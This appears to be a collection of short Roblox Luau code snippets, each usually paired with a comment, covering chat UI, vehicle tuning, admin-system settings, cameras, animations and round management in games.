ChannelButton.Text = formatChannelName
ChannelButton.Visible = true
ChannelButton.Parent = BaseMessage
local clickedConn = ChannelButton.MouseButton1Click:connect(function()
self:ChannelButtonClicked(ChannelButton, channelName)
end)
local changedConn = nil
changedConn = ChannelButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return ChannelButton
end
function methods:AddTagLabelToBaseMessage(BaseMessage, tagColor, formatTagText)
local tagNameSize = self:GetStringTextBounds(formatTagText, BaseMessage.Font, BaseMessage.TextSize)
local TagLabel = self:GetFromObjectPool("TextLabel")
TagLabel.Selectable = false
TagLabel.Size = UDim2.new(0, tagNameSize.X, 0, tagNameSize.Y)
TagLabel.Position = UDim2.new(0, 0, 0, 0)
TagLabel.BackgroundTransparency = 1
TagLabel.Font = BaseMessage.Font
TagLabel.TextSize = BaseMessage.TextSize
TagLabel.TextXAlignment = BaseMessage.TextXAlignment
TagLabel.TextYAlignment = BaseMessage.TextYAlignment
TagLabel.TextTransparency = BaseMessage.TextTransparency
TagLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
TagLabel.TextColor3 = tagColor
TagLabel.Text = formatTagText
TagLabel.Visible = true
TagLabel.Parent = BaseMessage
return TagLabel
end
function GetWhisperChannelPrefix()
if ChatConstants.WhisperChannelPrefix then
return ChatConstants.WhisperChannelPrefix
end
return "To "
end
function methods:NameButtonClicked(nameButton, playerName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnPlayerNameToWhisper then
local player = Players:FindFirstChild(playerName)
if player and player ~= LocalPlayer then
local whisperChannel = GetWhisperChannelPrefix() ..playerName
if self.ChatWindow:GetChannel(whisperChannel) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= whisperChannel then
self.ChatWindow:SwitchCurrentChannel(whisperChannel)
end
local whisperMessage = "/w " ..playerName
self.ChatBar:SetText(whisperMessage)
self.ChatBar:CaptureFocus()
elseif not self.ChatBar:IsInCustomState() then
local whisperMessage = "/w " ..playerName
self.ChatBar:SetText(whisperMessage)
self.ChatBar:CaptureFocus()
end
end
end
end
function methods:ChannelButtonClicked(channelButton, channelName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnChannelNameToSetMainChannel then
if self.ChatWindow:GetChannel(channelName) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= channelName then
self.ChatWindow:SwitchCurrentChannel(channelName)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
end
end
end
function methods:RegisterChatWindow(chatWindow)
self.ChatWindow = chatWindow
self.ChatBar = chatWindow:GetChatBar()
end
function methods:GetFromObjectPool(className)
if self.ObjectPool == nil then
return Instance.new(className)
end
return self.ObjectPool:GetInstance(className)
end
function methods:RegisterObjectPool(objectPool)
self.ObjectPool = objectPool
end
|
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon
|
local Song = script.Parent.AudioPlayerGui.Song
local Audio = carSeat.Audio
vol = 1
function changeSong()
local effect = carSeat.Audio.EqualizerSoundEffect
if onOff.Text == "OUT" then
carSeat.AuidoPlayerEvent:FireServer(1,4)
onOff.Text = "IN"
else
carSeat.AuidoPlayerEvent:FireServer(2,4)
onOff.Text = "OUT"
end
end
function playSong()
local id = script.Parent.AudioPlayerGui.TextBox.Text
carSeat.AuidoPlayerEvent:FireServer(id,1)
--Screen.Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
--Screen.ID.Text = id
end
function stopSong()
carSeat.AuidoPlayerEvent:FireServer(nil,2)
end
function volUp()
if vol + 0.1 <= 5 then
vol = vol + 0.1
carSeat.AuidoPlayerEvent:FireServer(vol,3)
script.Parent.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
--Screen.Vol.Text = tostring(vol*100) .. "%"
end
end
function volDown()
if vol - 0.1 >= 0 then
vol = vol - 0.1
carSeat.AuidoPlayerEvent:FireServer(vol,3)
script.Parent.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
--Screen.Vol.Text = tostring(vol*100) .. "%"
end
end
ChangeButton.MouseButton1Click:connect(function()
changeSong()
end)
VolUpButton.MouseButton1Click:connect(function()
volUp()
end)
VolDownButton.MouseButton1Click:connect(function()
volDown()
end)
PlayButton.MouseButton1Click:connect(function()
playSong()
end)
PauseButton.MouseButton1Click:connect(function()
stopSong()
end)
|
--JamstaKing
--This script is free to use for anyone! >:3
|
local ting = 0 --debouncer
function onTouched(hit)
if ting == 0 then --debounce check
ting = 1 --activate debounce
check = hit.Parent:FindFirstChild("Humanoid") --Find the human that touched the button
if check ~= nil then --If a human is found, then
local user = game.Players:GetPlayerFromCharacter(hit.Parent) --get player from touching human
local stats = user:findFirstChild("leaderstats") --Find moneyholder
if stats ~= nil then --If moneyholder exists then
local cash = stats:findFirstChild("Money") --Get money
cash.Value = cash.Value +5 --increase amount of money by the number displayed here (500)
wait(5) --wait-time before button works again
end
end
ting = 0 --remove debounce
end
end
script.Parent.Touched:connect(onTouched)
|
--[=[
@function equalObjects
@within Sift
@param ... ...table -- The tables to compare.
@return boolean -- Whether or not the tables are equal.
Compares two or more tables to see if they are equal.
```lua
local a = { hello = "world" }
local b = { hello = "world" }
local equal = EqualObjects(a, b) -- true
```
]=]
|
local function equalObjects(...: _T.Table): boolean
local firstItem = select(1, ...)
for i = 2, select("#", ...) do
if firstItem ~= select(i, ...) then
return false
end
end
return true
end
return equalObjects
|
--[[Weight and CG]]
|
Tune.Weight = 3500 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- I didn't make this. Credits to the original creator.
|
local cam = workspace.CurrentCamera
local camPart = workspace.Menu.MenuFace
local mouse = game:GetService("Players").LocalPlayer:GetMouse()
repeat
wait()
cam.CameraType = Enum.CameraType.Scriptable
until
cam.CameraType == Enum.CameraType.Scriptable
local maxTilt = 10
game:GetService("RunService").RenderStepped:Connect(function()
cam.CFrame = camPart.CFrame * CFrame.Angles(
math.rad((((mouse.Y - mouse.ViewSizeY / 2) / mouse.ViewSizeY)) * -maxTilt),
math.rad((((mouse.X - mouse.ViewSizeX / 2) / mouse.ViewSizeX)) * -maxTilt),
0
)
end)
|
--------------| SYSTEM SETTINGS |--------------
|
Prefix = "/"; -- The character you use before every command (e.g. ';jump me').
SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)
Theme = "Blue"; -- The default UI theme.
NoticeSoundId = 2865227271; -- The SoundId for notices.
NoticeVolume = 0.1; -- The Volume for notices.
NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices.
ErrorSoundId = 2865228021; -- The SoundId for error notifications.
ErrorVolume = 0.1; -- The Volume for error notifications.
ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId = 9161622880; -- The SoundId for alerts.
AlertVolume = 0.5; -- The Volume for alerts.
AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts.
WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.
CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands = 3; -- The minimum rank required to use LoopCommands.
MusicList = {}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.
ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
{"Red", Color3.fromRGB(150, 0, 0), };
{"Orange", Color3.fromRGB(150, 75, 0), };
{"Brown", Color3.fromRGB(120, 80, 30), };
{"Yellow", Color3.fromRGB(130, 120, 0), };
{"Green", Color3.fromRGB(0, 120, 0), };
{"Blue", Color3.fromRGB(0, 100, 150), };
{"Purple", Color3.fromRGB(100, 0, 150), };
{"Pink", Color3.fromRGB(150, 0, 100), };
{"Black", Color3.fromRGB(60, 60, 60), };
};
Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
{"r", "Red", Color3.fromRGB(255, 0, 0) };
{"o", "Orange", Color3.fromRGB(250, 100, 0) };
{"y", "Yellow", Color3.fromRGB(255, 255, 0) };
{"g", "Green" , Color3.fromRGB(0, 255, 0) };
{"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) };
{"b", "Blue", Color3.fromRGB(0, 255, 255) };
{"db", "DarkBlue", Color3.fromRGB(0, 50, 255) };
{"p", "Purple", Color3.fromRGB(150, 0, 255) };
{"pk", "Pink", Color3.fromRGB(255, 85, 185) };
{"bk", "Black", Color3.fromRGB(0, 0, 0) };
{"w", "White", Color3.fromRGB(255, 255, 255) };
};
ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
[5] = "Yellow";
};
Cmdbar = 1; -- The minimum rank required to use the Cmdbar.
Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2.
ViewBanland = 3; -- The minimum rank required to view the banland.
OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage = { -- || The pages on the main menu ||
["Commands"] = 0;
["Admin"] = 0;
["Settings"] = 0;
};
RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["HeadAdmin"] = 0;
["Admin"] = 0;
["Mod"] = 0;
["VIP"] = 0;
};
RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["SpecificUsers"] = 5;
["Gamepasses"] = 0;
["Assets"] = 0;
["Groups"] = 0;
["Friends"] = 0;
["FreeAdmin"] = 0;
["VipServerOwner"] = 0;
};
RankRequiredToViewIcon = 0;
WelcomeRankNotice = true; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice = true; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices = false; -- Set to true to disable all HD Admin notices.
ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit'
CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.
["fly"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["fly2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["speed"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["jumpPower"] = {
Limit = 10000;
IgnoreLimit = 3;
};
};
VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers.
GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist.
PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.
CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
--NoticeName = NoticeDetails;
};
|
--script:WaitForChild('FootstepSounds').Parent = sounds
|
local materials = script.Parent:WaitForChild('FootstepSounds')
local plr = script.Parent
repeat wait() until plr
local char = plr
local hum = char.Humanoid
local hrp = hum.RootPart
local walking
hum.Running:connect(function(speed)
if speed > hum.WalkSpeed/2 then
walking = true
else
walking = false
end
end)
function getMaterial()
local floormat = hum.FloorMaterial
if not floormat then floormat = 'Air' end
local matstring = string.split(tostring(floormat),'Enum.Material.')[2]
local material = matstring
return material
end
local lastmat
runtime.Heartbeat:connect(function()
if walking then
local material = getMaterial()
if material ~= lastmat and lastmat ~= nil then
materials[lastmat].Playing = false
end
local materialSound = materials[material]
materialSound.PlaybackSpeed = hum.WalkSpeed/12
materialSound.Playing = true
lastmat = material
else
for _,sound in pairs(materials:GetChildren()) do
sound.Playing = false
end
end
end)
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.31 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 2.8 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.98 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.61 ,
--[[ 3 ]] 1.9 ,
--[[ 4 ]] 1.48 ,
--[[ 5 ]] 1.16 ,
--[[ 6 ]] 0.99 ,
--[[ 7 ]] 0.84 ,
}
Tune.FDMult = 1 -- -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--Obj
|
local Camera = workspace.CurrentCamera
local CurrentHumanoid = nil
|
--[=[
@param interval number
@return Timer
Creates a new timer.
]=]
|
function Timer.new(interval: number)
assert(type(interval) == "number", "Argument #1 to Timer.new must be a number; got " .. type(interval))
assert(interval >= 0, "Argument #1 to Timer.new must be greater or equal to 0; got " .. tostring(interval))
local self = setmetatable({}, Timer)
self._runHandle = nil
self.Interval = interval
self.UpdateSignal = RunService.Heartbeat
self.TimeFunction = time
self.AllowDrift = true
self.Tick = Signal.new()
return self
end
|
--NOTE: Keys must be lowercase, values must evaluate to true
|
Explode = Instance.new("Part")
Explode.formFactor = "Custom"
Explode.Size = Vector3.new(0,0,0)
Explode.Anchored = true
Explode.CanCollide = false
Explode.TopSurface = 0
Explode.BottomSurface = 0
Explode.BrickColor = BrickColor.new("Deep orange")
Mesh = Instance.new("SpecialMesh",Explode)
Mesh.MeshType = "Brick"
function raycast(spos,vec,currentdist)
local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),script.Parent)
return hit2,pos2
end
|
------------------------------------------------------------------------
-- parse the arguments (parameters) of a function declaration
-- * used in body()
------------------------------------------------------------------------
|
function luaY:parlist(ls)
-- parlist -> [ param { ',' param } ]
local fs = ls.fs
local f = fs.f
local nparams = 0
f.is_vararg = 0
if ls.t.token ~= ")" then -- is 'parlist' not empty?
repeat
local c = ls.t.token
if c == "TK_NAME" then -- param -> NAME
self:new_localvar(ls, self:str_checkname(ls), nparams)
nparams = nparams + 1
elseif c == "TK_DOTS" then -- param -> `...'
luaX:next(ls)
|
--[[
BaseCharacterController - Abstract base class for character controllers, not intended to be
directly instantiated.
2018 PlayerScripts Update - AllYourBlox
--]]
|
local ZERO_VECTOR3: Vector3 = Vector3.new(0,0,0)
|
--[[Front]]
|
--
Tune.FTireProfile = 1 -- Tire profile, aggressive or smooth
Tune.FProfileHeight = .4 -- Profile height, conforming to tire
Tune.FTireCompound = 0.5 -- The more compounds you have, the harder your tire will get towards the middle, sacrificing grip for wear
Tune.FTireFriction = 1.8 -- Your tire's friction in the best conditions.
|
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
|
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
local runService = game:GetService("RunService")
local input = game:GetService("UserInputService")
local players = game:GetService("Players")
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson
CanViewBody = true -- whether you see your body
Sensitivity = 0.2 -- anything higher would make looking up and down harder; recommend anything between 0~1
Smoothness = 0.05 -- recommend anything between 0~1
FieldOfView = 180 -- fov
local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon
local character = player.Character or player.CharacterAdded:wait()
local humanoidpart = character.HumanoidRootPart
local head = character:WaitForChild("Head")
local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p
local AngleX,TargetAngleX = 0,0
local AngleY,TargetAngleY = 0,0
local running = true
local freemouse = false
|
--[=[
Creates a new function which will return an observable that, given the props
in question, will construct a new instance and assign all props. This is the
equivalent of a pipe-able Rx command.
```lua
Blend.New "ScreenGui" {
Parent = game.Players.LocalPlayer.PlayerGui;
[Blend.Children] = {
Blend.New "Frame" {
Size = UDim2.new(1, 0, 1, 0);
BackgroundTransparency = 0.5;
};
};
};
@param className string
@return (props: { [string]: any; }) -> Observable<Instance>
```
]=]
|
function Blend.New(className)
assert(type(className) == "string", "Bad className")
local defaults = BlendDefaultProps[className]
return function(props)
return Observable.new(function(sub)
local maid = Maid.new()
local instance = Instance.new(className)
maid:GiveTask(instance)
if defaults then
for key, value in pairs(defaults) do
instance[key] = value
end
end
maid:GiveTask(Blend.mount(instance, props))
sub:Fire(instance)
return maid
end)
end
end
|
-- Public Functions
|
function GameManager:Initialize()
MapManager:SaveMap()
end
function GameManager:RunIntermission()
IntermissionRunning = true
TimeManager:StartTimer(Configurations.MainGameConfig["Intermission Duration"])
DisplayManager:StartIntermission()
EnoughPlayers = Players.NumPlayers >= Configurations.MainGameConfig["Minimum Players"]
DisplayManager:UpdateTimerInfo(true, not EnoughPlayers)
spawn(function()
repeat
if EnoughPlayers and Players.NumPlayers < Configurations.MainGameConfig["Minimum Players"] then
EnoughPlayers = false
elseif not EnoughPlayers and Players.NumPlayers >= Configurations.MainGameConfig["Minimum Players"] then
EnoughPlayers = true
end
DisplayManager:UpdateTimerInfo(true, not EnoughPlayers)
task.wait(.5)
until IntermissionRunning == false
end)
task.wait(Configurations.MainGameConfig["Intermission Duration"])
IntermissionRunning = false
end
function GameManager:StopIntermission()
--IntermissionRunning = false
DisplayManager:UpdateTimerInfo(false, false)
DisplayManager:StopIntermission()
end
function GameManager:GameReady()
return Players.NumPlayers >= Configurations.MainGameConfig["Minimum Players"]
end
function GameManager:StartRound()
TeamManager:ClearTeamScores()
PlayerManager:AllowPlayerSpawn(true)
PlayerManager:LoadPlayers()
GameRunning = true
PlayerManager:SetGameRunning(true)
TimeManager:StartTimer(Configurations.MainGameConfig["Round Duration"])
end
function GameManager:Update()
--TODO: Add custom custom game code here
end
function GameManager:RoundOver()
local winningTeam = TeamManager:HasTeamWon()
if winningTeam then
DisplayManager:DisplayVictory(winningTeam)
return true
end
if TimeManager:TimerDone() then
if TeamManager:AreTeamsTied() then
DisplayManager:DisplayVictory('Tie')
else
winningTeam = TeamManager:GetWinningTeam()
DisplayManager:DisplayVictory(winningTeam)
end
return true
end
return false
end
function GameManager:RoundCleanup()
PlayerManager:SetGameRunning(false)
task.wait(Configurations.MainGameConfig["End Game Wait"])
PlayerManager:AllowPlayerSpawn(false)
PlayerManager:DestroyPlayers()
DisplayManager:DisplayVictory(nil)
TeamManager:ClearTeamScores()
TeamManager:ShuffleTeams()
MapManager:ClearMap()
MapManager:LoadMap()
end
|
--Below u see the keys table.. to modyfy the key u press change the letter between the ""
|
local keys = {
spdup={code = "m"};
spddwn={code = "n"};
start={code = "y"};
stop={code = "x"};
light={code="a"};
dwn={code="j"};
up={code="u"};
camset={code="c"};
minigun= "t";
missile= "f";
}
|
--[=[
Constructs a new CancelToken that cancels whenever the maid does.
@param maid Maid
@return CancelToken
]=]
|
function CancelToken.fromMaid(maid)
local token = CancelToken.new(EMPTY_FUNCTION)
local taskId = maid:GiveTask(function()
token:_cancel()
end)
token.PromiseCancelled:Then(function()
maid[taskId] = nil
end)
return token
end
|
--// Variables
|
local L_1_ = game.Players.LocalPlayer
local L_2_ = L_1_.Character
local L_3_ = game.ReplicatedStorage:WaitForChild('ACS_Engine')
local L_5_ = L_3_:WaitForChild('GameRules')
local L_7_ = L_3_:WaitForChild('HUD')
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:Disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:Disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale")
if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
return bodyHeightScale.Value
end
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
if speed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif speed < 0.66 then
local weight = ((speed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
runAnimTrack:AdjustSpeed(speedScaled / heightScale)
currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
if currentAnim == "walk" then
setRunSpeed(speed)
else
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:Disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:Disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc)
end
end
end
|
--CHANGE THIS LINE-- (Turn)
|
Turn = script.Parent.Parent.Parent.ControlBox.TurnValues.TurnSignal1 -- Change last word
|
-- VisualComponents by Travis, modified for native visuals.
|
for i,v in pairs(script.Setup:GetChildren()) do
v.Parent = game:GetService("StarterGui")
end
script.UsualOpenVideo.Parent = game:GetService("ServerScriptService")
script:Destroy()
|
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play()
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play()
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play()
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play()
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
end;
ChamberBKAnim = function(char, speed, objs)
end;
CheckAnim = function(char, speed, objs)
end;
ShellInsertAnim = function(char, speed, objs)
end;
ReloadAnim = function(char, speed, objs)
end;
|
-- Clone map upon game start. This is what will be loaded and unloaded
-- Destroy original after cloning
|
